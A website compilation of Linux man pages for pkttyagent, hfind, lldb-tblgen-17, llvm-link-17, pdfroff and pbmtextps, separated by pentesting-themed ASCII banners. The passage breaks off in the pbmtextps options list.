➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkttyagent and provides detailed information about the command pkttyagent, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkttyagent.

NAME 🖥️ pkttyagent 🖥️

Textual authentication helper

SYNOPSIS

pkttyagent [–version] [–help]

pkttyagent [–process { pid | pid,pid-start-time } | –system-bus-name busname] [–notify-fd fd] [–fallback]

DESCRIPTION

pkttyagent is used to start a textual authentication agent for the subject specified by either –process or –system-bus-name. If neither of these options are given, the parent process is used.

To get notified when the authentication agent has been registered either listen to the Changed D-Bus signal or use –notify-fd to pass the number of a file descriptor that has been passed to the program. This file descriptor will then be closed when the authentication agent has been successfully registered.

If –fallback is used, the textual authentication agent will not replace an existing authentication agent.

RETURN VALUE

If the authentication agent could not be registered, pkttyagent exits with an exit code of 127. Diagnostic messages are printed on standard error.

If one or more of the options passed are malformed, pkttyagent exits with an exit code of 126. If stdin is a tty, then this manual page is also shown.

If the authentication agent was successfully registered, pkttyagent will keep running, interacting with the user as needed. When its services are no longer needed, the process can be killed.

NOTES

Since process identifiers can be recycled, the caller should always use pid,pid-start-time when using the –process option. The value of pid-start-time can be determined by consulting e.g. the proc(5) file system depending on the operating system. If only pid is passed to the –process option, then pkttyagent will look up the start time itself but note that this may be racy.

AUTHOR

Written by David Zeuthen <[email protected]> with a lot of help from many others.

BUGS

Please send bug reports to either the distribution or the polkit-devel mailing list, see the link https://gitlab.freedesktop.org/polkit/polkit/-/issues/ on how to subscribe.

SEE ALSO

polkit(8), polkitd(8), pkaction(1), pkcheck(1), pkexec(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1161 - Linux cli command hfind

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hfind and provides detailed information about the command hfind, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hfind.

NAME 🖥️ hfind 🖥️

Lookup a hash value in a hash database

SYNOPSIS

hfind [-i db_type ] [-f lookup_file ] [-eq] db_file [hashes]

DESCRIPTION

hfind looks up hash values in a database using a binary search algorithm. This allows one to easily create a hash database and identify if a file is known or not. It works with the NIST National Software Reference Library (NSRL) and the output of ‘md5sum’.

Before the database can be used by ‘hfind’, an index file must be created with the ‘-i’ option.

This tool is needed for efficiency. Most text-based databases do not have fixed length entries and are sometimes not sorted. The hfind tool will create an index file that is sorted and has fixed-length entries. This allows for fast lookups using a binary search algorithm instead of a linear search such as ‘grep’.

ARGUMENTS

-i db_type
Create an index file for the database. This step must be done before a lookup can be performed. The ‘db_type’ argument specifies the database type (i.e. nsrl-md5 or md5sum). See section below.

-f lookup_file
Specify the location of a file that contains one hash value per line. These hashes will be looked up in the database.

-e
Extended mode. Additional information besides just the name is printed. (Does not apply for all hash database types).

-q
Quick mode. Instead of displaying the corresponding information with the hash, just display 0 if the hash was not found and 1 if it was. If this flag is used, then only one hash can be given at a time.

-V
Display version

db_file
The location of the hash database file.

[hashes]
The hashes to lookup. If they are not supplied on the command line, STDIN is used. If index files exist for both SHA-1 and MD5 hashes, then both types of hashes can be given at runtime.

INDEX FILE

hfind uses an index file to perform a binary search for a hash value. This is much faster than using ‘grep’, which will do a linear search. Before a hash database is used, a corresponding index file must be created. This is done with the ‘-i’ option to hfind.

The resulting index file will be named based on the database file name. The name will have the original name following by the hash type (sha1 or md5) followed by ‘.idx’. For example, creating an MD5 hash index of the NIST NSRL results in ‘NSRLFile.txt-md5.idx’ and the SHA-1 index results in ‘NSRLFile.txt-sha1.idx’.

The file has two columns. Each entry is sorted by the first column, which is the hash value. The second column has the byte offset of the corresponding entry in the original file. So, when a hash is found in the index, the offset is recorded and then ‘hfind’ seeks to the entry in the original database.

The following input types are valid. For NSRL, ’nsrl-md5’ and ’nsrl-sha1’ can be used. The difference is which hash value the index is sorted by. The ‘md5sum’ value can also be used to sort and index “home made” databases. ‘hfind’ can take data in both common formats:

MD5 (test.txt) = 76b1f4de1522c20b67acc132937cf82e

and

76b1f4de1522c20b67acc132937cf82e test.txt

EXAMPLES

To create an MD5 index file for NIST NSRL:

# hfind -i nsrl-md5 /usr/local/hash/nsrl/NSRLFile.txt

To lookup a value in the NSRL:

# hfind /usr/local/hash/nsrl/NSRLFile.txt 76b1f4de1522c20b67acc132937cf82e

76b1f4de1522c20b67acc132937cf82e Hash Not Found

You can even do both SHA-1 and MD5 if you want:

# hfind -i nsrl-sha1 /usr/local/hash/nsrl/NSRLFile.txt

# hfind /usr/local/hash/nsrl/NSRLFile.txt 76b1f4de1522c20b67acc132937cf82e 80001A80B3F1B80076B297CEE8805AAA04E1B5BA

76b1f4de1522c20b67acc132937cf82e Hash Not Found

80001A80B3F1B80076B297CEE8805AAA04E1B5BA thrdcore.cpp

To make a database of critical binaries of a trusted system, use ‘md5sum’:

# md5sum /bin/* /sbin/* /usr/bin/* /usr/bin/* /usr/local/bin/* /usr/local/sbin/* > system.md5

# hfind -i md5sum system.md5

To look entries up, the following will work:

# hfind system.md5 76b1f4de1522c20b67acc132937cf82e

76b1f4de1522c20b67acc132937cf82e Hash Not Found

or

# md5sum -q /bin/* | hfind system.md5

928682269cd3edb1acdf9a7f7e606ff2 /bin/bash

<…>

or

# md5sum -q /bin/* > bin.md5

# hfind -f bin.md5 system.md5

928682269cd3edb1acdf9a7f7e606ff2 /bin/bash

<…>

SEE ALSO

sorter(1)

The NIST National Software Reference Library (NSRL) can be found at www.nsrl.nist.gov.

LICENSE

Distributed under the Common Public License, found in the cpl1.0.txt file in the The Sleuth Kit licenses directory.

AUTHOR

Brian Carrier <carrier at sleuthkit dot org>

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1162 - Linux cli command lldb-tblgen-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lldb-tblgen-17 and provides detailed information about the command lldb-tblgen-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lldb-tblgen-17.

NAME 🖥️ lldb-tblgen-17 🖥️

tblgen - Description to C++ Code for LLDB

SYNOPSIS

lldb-tblgen [options] [filename]

DESCRIPTION

lldb-tblgen is a program that translates compiler-related target description (.td) files into C++ code and other output formats. Most users of LLVM will not need to use this program. It is used only for writing parts of the compiler.

Please see tblgen - Description to C++ Code for a description of the filename argument and options, including the options common to all *-tblgen programs.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1163 - Linux cli command llvm-link-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-link-17 and provides detailed information about the command llvm-link-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-link-17.

NAME 🖥️ llvm-link-17 🖥️

link - LLVM bitcode linker

SYNOPSIS

llvm-link [options] filename …

DESCRIPTION

llvm-link takes several LLVM bitcode files and links them together into a single LLVM bitcode file. It writes the output file to standard output, unless the -o option is used to specify a filename.

OPTIONS

-f
Enable binary output on terminals. Normally, llvm-link will refuse to write raw bitcode output if the output stream is a terminal. With this option, llvm-link will write raw bitcode regardless of the output device.

-o filename
Specify the output file name. If filename is “-”, then llvm-link will write its output to standard output.

-S
Write output in LLVM intermediate language (instead of bitcode).

-d
If specified, llvm-link prints a human-readable version of the output bitcode file to standard error.

-help
Print a summary of command line options.

-v
Verbose mode. Print information about what llvm-link is doing. This typically includes a message for each bitcode file linked in and for each library found.

EXIT STATUS

If llvm-link succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1164 - Linux cli command pdfroff

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pdfroff and provides detailed information about the command pdfroff, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pdfroff.

Name

pdfroff - construct files in Portable Document Format using groff

Synopsis

pdfroff [groff-option] [–emit-ps] [–no-toc-relocation] [–no-kill-null-pages] [–stylesheet= name] [–no-pdf-output] [–pdf-output= name] [–no-reference-dictionary] [–reference-dictionary= name] [–report-progress] [–keep-temporary-files] [*file *. . .] pdfroff -h pdfroff –help pdfroff -v [groff-option . . .] pdfroff –version [groff-option . . .]

groff-option is any short option supported by

except for -h, -T, and -v; see section “Usage” below.

Description

pdfroff is a wrapper program for the GNU text processing system, groff. It transparently handles the mechanics of multiple pass groff processing, when applied to suitably marked up groff source files, such that tables of contents and body text are formatted separately, and are subsequently combined in the correct order, for final publication as a single PDF document. A further optional “style sheet” capability is provided; this allows for the definition of content which is required to precede the table of contents, in the published document.

For each invocation of pdfroff, the ultimate groff output stream is post-processed by the Ghostscript

interpreter to produce a finished PDF document.

pdfroff makes no assumptions about, and imposes no restrictions on, the use of any groff macro packages which the user may choose to employ, in order to achieve a desired document format; however, it does include specific built in support for the pdfmark macro package, should the user choose to employ it. Specifically, if the pdfhref macro, defined in the pdfmark.tmac package, is used to define public reference marks, or dynamic links to such reference marks, then pdfroff performs as many preformatting groff passes as required, up to a maximum limit of four, in order to compile a document reference dictionary, to resolve references, and to expand the dynamically defined content of links.

Usage

The command line is parsed in accordance with normal GNU conventions, but with one exception—when specifying any short form option (i.e., a single character option introduced by a single hyphen), and if that option expects an argument, then it must be specified independently (i.e., it may not be appended to any group of other single character short form options).

Long form option names (i.e., those introduced by a double hyphen) may be abbreviated to their minimum length unambiguous initial substring.

Otherwise, pdfroff usage closely mirrors that of groff itself. Indeed, with the exception of the -h, -v, and -T* dev* short form options, and all long form options, which are parsed internally by pdfroff, all options and file name arguments specified on the command line are passed on to groff, to control the formatting of the PDF document. Consequently, pdfroff accepts all options and arguments, as specified in

which may also be considered as the definitive reference for all standard pdfroff options and argument usage.

Options

pdfroff accepts all of the short form options (i.e., those introduced by a single hyphen), which are available with groff itself. In most cases, these are simply passed transparently to groff; the following, however, are handled specially by pdfroff.

-h
Same as –help; see below.

-i
Process standard input, after all other specified input files. This is passed transparently to groff, but, if grouped with other options, it must be the first in the group. Hiding it within a group breaks standard input processing, in the multiple-pass groff processing context of pdfroff.

-T* dev*
Only -T ps is supported by pdfroff. Attempting to specify any other device causes pdfroff to abort.

-v
Same as –version; see below.

See

for a description of all other short form options, which are transparently passed through pdfroff to groff.

All long form options (i.e., those introduced by a double hyphen) are interpreted locally by pdfroff; they are not passed on to groff, unless otherwise stated below.

–help
Causes pdfroff to display a summary of the its usage syntax, and supported options, and then exit.

–emit-ps
Suppresses the final output conversion step, causing pdfroff to emit PostScript output instead of PDF. This may be useful to capture intermediate PostScript output when using a specialised postprocessor, such as gpresent for example, in place of the default Ghostscript PDF writer.

–keep-temporary-files
Suppresses the deletion of temporary files, which normally occurs after pdfroff has completed PDF document formatting; this may be useful when debugging formatting problems.

See section “Files” below for a description of the temporary files used by pdfroff.

–no-pdf-output
May be used with the **–reference-dictionary=**name option (described below) to eliminate the overhead of PDF formatting when running pdfroff to create a reference dictionary for use in a different document.

–no-reference-dictionary
May be used to eliminate the overhead of creating a reference dictionary, when it is known that the target PDF document contains no public references, created by the pdfhref macro.

–no-toc-relocation
May be used to eliminate the extra groff processing pass, which is required to generate a table of contents, and relocate it to the start of the PDF document, when processing any document which lacks an automatically generated table of contents.

–no-kill-null-pages
While preparing for simulation of the manual collation step, which is traditionally required to relocate a table of contents to the start of a document, pdfroff accumulates a number of empty page descriptions into the intermediate PostScript output stream. During the final collation step, these empty pages are normally discarded from the finished document; this option forces pdfroff to leave them in place.

**–pdf-output=**name
Specifies the name to be used for the resultant PDF document; if unspecified, the PDF output is written to standard output. A future version of pdfroff may use this option, to encode the document name in a generated reference dictionary.

**–reference-dictionary=**name
Specifies the name to be used for the generated reference dictionary file; if unspecified, the reference dictionary is created in a temporary file, which is deleted when pdfroff completes processing of the current document. This option must be specified, if it is desired to save the reference dictionary, for use in references placed in other PDF documents.

–report-progress
Causes pdfroff to display an informational message on standard error, at the start of each groff processing pass.

**–stylesheet=**name
Specifies the name of an input file, to be used as a style sheet for formatting of content, which is to be placed before the table of contents, in the formatted PDF document.

–version
Causes pdfroff to display a version identification message. The entire command line is then passed transparently to groff, in a one pass operation only, in order to display the associated groff version information, before exiting.

Environment

The following environment variables may be set, and exported, to modify the behaviour of pdfroff.

PDFROFF_COLLATE
Specifies the program to be used for collation of the finished PDF document.

This collation step may be required to move tables of contents to the start of the finished PDF document, when formatting with traditional macro packages, which print them at the end. However, users should not normally need to specify PDFROFF_COLLATE, (and indeed, are not encouraged to do so). If unspecified, pdfroff uses

by default, which normally suffices.

If PDFROFF_COLLATE is specified, then it must act as a filter, accepting a list of file name arguments, and write its output to the standard output stream, whence it is piped to the PDFROFF_POSTPROCESSOR_COMMAND, to produce the finished PDF output.

When specifying PDFROFF_COLLATE, it is normally necessary to also specify PDFROFF_KILL_NULL_PAGES.

PDFROFF_COLLATE is ignored, if pdfroff is invoked with the –no-kill-null-pages option.

PDFROFF_KILL_NULL_PAGES
Specifies options to be passed to the PDFROFF_COLLATE program.

It should not normally be necessary to specify PDFROFF_KILL_NULL_PAGES. The internal default is a

script, which is intended to remove completely blank pages from the collated output stream, and which should be appropriate in most applications of pdfroff. However, if any alternative to

is specified for PDFROFF_COLLATE, then it is likely that a corresponding alternative specification for PDFROFF_KILL_NULL_PAGES is required.

As in the case of PDFROFF_COLLATE, PDFROFF_KILL_NULL_PAGES is ignored, if pdfroff is invoked with the –no-kill-null-pages option.

PDFROFF_POSTPROCESSOR_COMMAND
Specifies the command to be used for the final document conversion from PostScript intermediate output to PDF. It must behave as a filter, writing its output to the standard output stream, and must accept an arbitrary number of files . . . arguments, with the special case of “-” representing the standard input stream.

If unspecified, PDFROFF_POSTPROCESSOR_COMMAND defaults to

gs -dBATCH -dQUIET -dNOPAUSE -dSAFER -sDEVICE=pdfwrite \
	-sOutputFile=-

GROFF_TMPDIR
Identifies the directory in which pdfroff should create temporary files. If GROFF_TMPDIR is not specified, then the variables TMPDIR, TMP and TEMP are considered in turn as possible temporary file repositories. If none of these are set, then temporary files are created in the current directory.

GROFF_GHOSTSCRIPT_INTERPRETER
Specifies the program to be invoked when pdfroff converts groff PostScript output to PDF. If PDFROFF_POSTPROCESSOR_COMMAND is specified, then the command name it specifies is implicitly assigned to GROFF_GHOSTSCRIPT_INTERPRETER, overriding any explicit setting specified in the environment. If GROFF_GHOSTSCRIPT_INTERPRETER is not specified, then pdfroff searches the process PATH, looking for a program with any of the well known names for the Ghostscript interpreter; if no Ghostscript interpreter can be found, pdfroff aborts.

GROFF_AWK_INTERPRETER
Specifies the program to be invoked when pdfroff is extracting reference dictionary entries from a groff intermediate message stream. If GROFF_AWK_INTERPRETER is not specified, then pdfroff searches the process PATH, looking for any of the preferred programs, gawk, mawk, nawk, and awk, in that order; if none of these are found, pdfroff issues a warning message, and continue processing; however, in this case, no reference dictionary is created.

OSTYPE
Typically defined automatically by the operating system, OSTYPE is used on Microsoft Win32/MS-DOS platforms only, to infer the default PATH_SEPARATOR character, which is used when parsing the process PATH to search for external helper programs.

PATH_SEPARATOR
If set, PATH_SEPARATOR overrides the default separator character, (‘:’ on POSIX/Unix systems, inferred from OSTYPE on Microsoft Win32/MS-DOS), which is used when parsing the process PATH to search for external helper programs.

SHOW_PROGRESS
If this is set to a non-empty value, then pdfroff always behaves as if the –report-progress option is specified on the command line.

Files

Input and output files for pdfroff may be named according to any convention of the user’s choice. Typically, input files may be named according to the choice of the principal normatting macro package, e.g., file*.ms* might be an input file for formatting using the ms macros (s.tmac); normally, the final output file should be named file*.pdf*.

Temporary files created by pdfroff are placed in the file system hierarchy, in or below the directory specified by environment variables (see section “Environment” above). If

is available, it is invoked to create a private subdirectory of the nominated temporary files directory, (with subdirectory name derived from the template pdfroff-XXXXXXXXXX); if this subdirectory is successfully created, the temporary files will be placed within it, otherwise they will be placed directly in the directory nominated in the environment.

All temporary files themselves are named according to the convention pdf$$.*, where $$ is the standard shell variable representing the process identifier of the pdfroff process itself, and * represents any of the extensions used by pdfroff to identify the following temporary and intermediate files.

pdf$$.tmp
A scratch pad file, used to capture reference data emitted by groff, during the reference dictionary compilation phase.

pdf$$.ref
The reference dictionary, as compiled in the last but one pass of the reference dictionary compilation phase; (at the start of the first pass, this file is created empty; in successive passes, it contains the reference dictionary entries, as collected in the preceding pass).

If the –reference-dictionary= name option is specified, this intermediate file becomes permanent, and is named name, rather than pdf$$.ref.

pdf$$.cmp
Used to collect reference dictionary entries during the active pass of the reference dictionary compilation phase. At the end of any pass, when the content of pdf$$.cmp compares as identical to pdf$$.ref, (or the corresponding file named by the –reference-dictionary= name option), then reference dictionary compilation is terminated, and the document reference map is appended to this intermediate file, for inclusion in the final formatting passes.

pdf$$.tc
An intermediate PostScript file, in which “Table of Contents” entries are collected, to facilitate relocation before the body text, on ultimate output to the Ghostscript postprocessor.

pdf$$.ps
An intermediate PostScript file, in which the body text is collected prior to ultimate output to the Ghostscript postprocessor, in the proper sequence, after pdf$$.tc.

Authors

pdfroff was written by Keith Marshall, who maintains it at

his groff-pdfmark OSDN site

groff’s version may be withdrawn in a future release.

See also

Groff: The GNU Implementation of troff, by Trent A. Fisher and Werner Lemberg, is the primary groff manual. You can browse it interactively with “info groff”.

Since pdfroff provides a superset of all groff capabilities, the above manual, or its terser reference page,

may also be considered definitive references to all standard capabilities of pdfroff, with this document providing the reference to pdfroff’s extended features.

While pdfroff imposes neither any restriction on, nor any requirement for, the use of any specific groff macro package, a number of supplied macro packages, and in particular those associated with the package pdfmark.tmac, are best suited for use with pdfroff as the preferred formatter.

/usr/share/doc/groff-base/pdf/pdfmark.pdf.gz
“Portable Document Format Publishing with GNU Troff”, by Keith Marshall, offers detailed documentation on the use of these packages. This file, together with its source, pdfmark.ms, is part of the groff distribution.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1165 - Linux cli command pbmtextps

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtextps and provides detailed information about the command pbmtextps, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtextps.

.

NAME 🖥️ pbmtextps 🖥️

render text into a PBM image using a postscript interpreter

SYNOPSIS

pbmtextps [-font fontname] [-fontsize float] [-resolution n] [-leftmargin=n] [-rightmargin=n] [-topmargin=n] [-bottommargin=n] [-ascent=n] [-descent=n] [-pad] [-crop] [-stroke n] [-asciihex] [-ascii85] [-verbose] [-dump-ps] text [text …]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtextps takes a single line of text from the command line and renders it into a PBM image. The image is of a single line of text; newline characters in the input have no effect.

See pbmtext for a more sophisticated generator of text, but using less common font formats. pbmtext can generate multiple lines of text.

The -plain common option has no effect before Netpbm 10.42 (March 2008). The output is always raw PBM.

Margins

By default, the image is cropped at the top and the right. It is not cropped at the left or bottom so that the text begins at the same position relative to the origin. The size of the default left and bottom margins is explained below.

You can set whatever margin you want with options -leftmargin, -rightmargin, -topmargin and -bottommargin. The specified amount of white space gets added to the far edge of type, e.g. if you specify 10 points for -topmargin, you will get 10 points of white space above the highest character on the line. Specify 0 to crop a side.

-ascent adds white space to the top to reach a specified distance above the text baseline, and -descent adds white space to to the bottom to reach a specified distance below the text baseline.

-ascent and -descent are more useful than -topmargin and -bottomargin when you render two pieces of text (in separate invocations of pbmtextps) that you will concatenate horizontally. With -ascent and -descent, as long as you specify a value greater than the height or detph of every character in the font, the two images will be the same height with the text baseline in the same place. With -topmargin and -bottommargin, that may not be the case.

Example:

     $ pbmtextps -font=Times-Roman -descent=20 \
          'The soup is called' > a1.pbm
     $ pbmtextps -font=Itallic -descent=20 'Goulash.' > a2.pbm
     $ pamcat -leftright -jbottom a1.pbm a2.pbm > out.pbm

If you’re using -descent to line up the segments of text you are concatenating horizontally with pamcat, use the -jbottom (justify to bottom) option on pamcat as in the example above. If you use -ascent, use -jtop instead.

Similarly, if you render two lines of text (in separate invocations of pbmtextps) that you will concatenate vertically, -ascent and -descent with sufficiently large values will ensure your baselines are uniformly spaced.

If you have -ascent, there is probably no point in specifying -topmargin too, but if you do, the effect is cumulative. The same is true of -descent and -bottommargin.

-pad pads the image on the top and bottom to the where the highest and lowest characters in the font would reach, even if you don’t have those characters in your text. This is useful if you will generate multiple images of text (with multiple invocations of pbmtextps) and concatenate them vertically to create a multiline text image. -pad makes sure the lines in this image are equally spaced.

Example:

    $ pbmtextps 'cat'   | pamfile
    $ pbmtextps 'Catty' | pamfile

The commands above, with no -pad, show that the ‘Catty’ image is higher because capital C reaches high and ‘y’ reaches low.

    $ pbmtextps -pad 'cat'   | pamfile
    $ pbmtextps -pad 'Catty' | pamfile

The commands above, with -pad, show that both images are the same height.

If you specify -pad with -ascent or -descent, the larger value is effective.

-crop makes the program crop all sides to the far edge of the type. It is the same as -leftmargin=0 -rightmargin=0 -topmargin=0 -bottommargin=0.

You cannot specify any other margin-affecting options with -crop.

The default top margin, when you specify neither -ascent, -topmargin, nor -pad, is as if you specified topmargin=0.

The default bottom margin, when you specify neither -descent, -bottommargin, nor -pad, is as if you specified **-descent=**1.5*fontsize.

The default left margin, when you do not specify -leftmargin, is as if you specified **-leftmargin=**0.5*fontsize.

The default right margin, when you do not specify -rightmargin, is as if you specified -rightmargin=0.

Input Text

The simplest way to specify the text to render is just to specify it, in ASCII, as the sole argument of the command. For example,

  $ pbmtextps 'hello world'

But you can also spread it across multiple arguments. pbmtextps concatenates them right to left with a single space in between:

  $ pbmtextps hello world

With an -asciihex option, you can specify the text in Postscript’s ASCII-HEX code:

  $ pbmtextps -asciihex 68656c6c6f20776f726c64

You can optionally include the ASCII-HEX text delimiters that would appear around the text in a Postscript program:

  $ pbmtextps -asciihex '<68656c6c6f20776f726c64>'

Note that the <> delimiters have special meaning to command shells, so if you are invoking pbmtextps via a command shell, be sure to quote them, as is done in this example.

With -asciihex, you can include white space anywhere in the coded text; it has no effect. And you can spread the argument across multiple arguments as for plain ASCII input:

  $ pbmtextps -asciihex '<' 68656c6c6f 20 776f726c64 '>'

But note that while Postscript allows an ASCII NUL character as white space, there is no way to pass an argument including a NUL character to pbmtextps.

With an -ascii85 option, you can specify the text in Postscript’s ASCII-85 code. This is analogous to -asciihex. The Postscript delimiters for an ASCII-85 text string are <~ ~>.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtextps recognizes the following command line options:

**-font=**fontname
This specifies the font to use. fontname is the name of any valid Postscript font which is installed on the system.

The default is TimesRoman.

Here is a way to get a list of the names of all the available fonts:

        $ gs -c '(*) {==} 256 string /Font resourceforall'

Warning: if fontname does not name a valid font, pbmtextps just uses the default font. It does not tell you it is doing this.

**-fontsize=**float
This is the size of the font in points. See the -resolution option for information on how to interpret this size.

The default is 24 points.

Before Netpbm 10.75 (June 2016), this has to be a whole number.

**-resolution=**n
This is the resolution in dots per inch of distance measurements pertaining to generation of the image. PBM images don’t have any inherent resolution, so a distance such as “1 inch” doesn’t mean anything unless you separately specify what resolution you’re talking about. That’s what this option does.

In particular, the meaning of the font size is determined by this resolution. If the font size is 24 points and the resolution is 150 dpi, then the font size is 50 pixels.

The default is 150 dpi.

**-leftmargin=**n
**-rightmargin=**n
**-topmargin=**n
**-bottommargin=**n
These options control the margins added to the image, measured from the far edge of the type. See Margins for details.

All sizes are in points, as a floating point number.

These options were new in Netpbm 10.75 (June 2016).

**-ascent=**n
**-descent=**n
These options control the margins added to the image, measured from the text baseline. See Margins for details.

Sizes are in points, as a floating point number.

These options were new in Netpbm 10.75 (June 2016).

-pad
This pads the image on the top and bottom to the where the highest and lowest characters in the font would reach, even if you don’t have those characters in your text. See Margins for details.

This option was new in Netpbm 10.75 (June 2016).

-crop
This makes the program crop all sides to the far edge of the type. It is the same as -leftmargin=0 -rightmargin=0 -topmargin=0 -bottommargin=0. See Margins for details.

This option was new in Netpbm 10.75 (June 2016).

-asciihex
This means the text in the arguments is in Postscript ASCII-HEX code. See Input Text .

You cannot specify this together with -ascii85.

This option was new in Netpbm 11.02 (March 2023)

-ascii85
This means the text in the arguments is in Postscript ASCII-85 code. See Input Text .

You cannot specify this together with -asciihex.

This option was new in Netpbm 11.02 (March 2023)

**-stroke=**n
This is the width of line, in points, to use for stroke font. There is no default stroke width because the characters are solid by default.

-verbose
This option makes pbmtextps display extra information on Standard Error about its processing.

-dump-ps
